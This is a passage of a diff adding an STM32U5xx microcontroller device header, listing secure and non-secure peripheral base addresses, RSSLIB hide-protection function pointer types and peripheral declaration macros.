ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define DCACHE2_BASE_NS (AHB1PERIPH_BASE_NS + 0x11800UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define GTZC_MPCBB6_BASE_NS (AHB1PERIPH_BASE_NS + 0x13C00UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) +/* GFXMMU non secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_NS (0x24000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0xC00000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ +#define SRAM6_BASE_S (0x30270000UL) /*!< SRAM6 (512 KB) secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define GFXTIM_BASE_S (APB2PERIPH_BASE_S + 0x6400UL) +#define LTDC_BASE_S (APB2PERIPH_BASE_S + 0x6800UL) +#define LTDC_Layer1_BASE_S (LTDC_BASE_S + 0x0084UL) +#define LTDC_Layer2_BASE_S (LTDC_BASE_S + 0x0104UL) +#define DSI_BASE_S (APB2PERIPH_BASE_S + 0x6C00UL) +#define REFBIAS_BASE_S (DSI_BASE_S + 0x800UL) +#define DPHY_BASE_S (DSI_BASE_S + 0xC00UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define RAMCFG_SRAM6_BASE_S (RAMCFG_BASE_S + 0x0180UL) +#define JPEG_BASE_S (AHB1PERIPH_BASE_S + 0x0A000UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define GFXMMU_BASE_S (AHB1PERIPH_BASE_S + 0x0C000UL) +#define GPU2D_BASE_S (AHB1PERIPH_BASE_S + 0x0F000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define DCACHE2_BASE_S (AHB1PERIPH_BASE_S + 0x11800UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define GTZC_MPCBB6_BASE_S (AHB1PERIPH_BASE_S + 0x13C00UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + +/* GFXMMU secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_S (0x34000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0xC00000UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define LTDC_NS ((LTDC_TypeDef *) LTDC_BASE_NS) +#define LTDC_Layer1_NS ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_NS) +#define LTDC_Layer2_NS ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_NS) +#define DSI_NS ((DSI_TypeDef *) DSI_BASE_NS) +#define REFBIAS_NS ((REFBIAS_TypeDef *) REFBIAS_BASE_NS) +#define DPHY_NS ((DPHY_TypeDef *) DPHY_BASE_NS) +#define GFXTIM_NS ((GFXTIM_TypeDef *) GFXTIM_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< 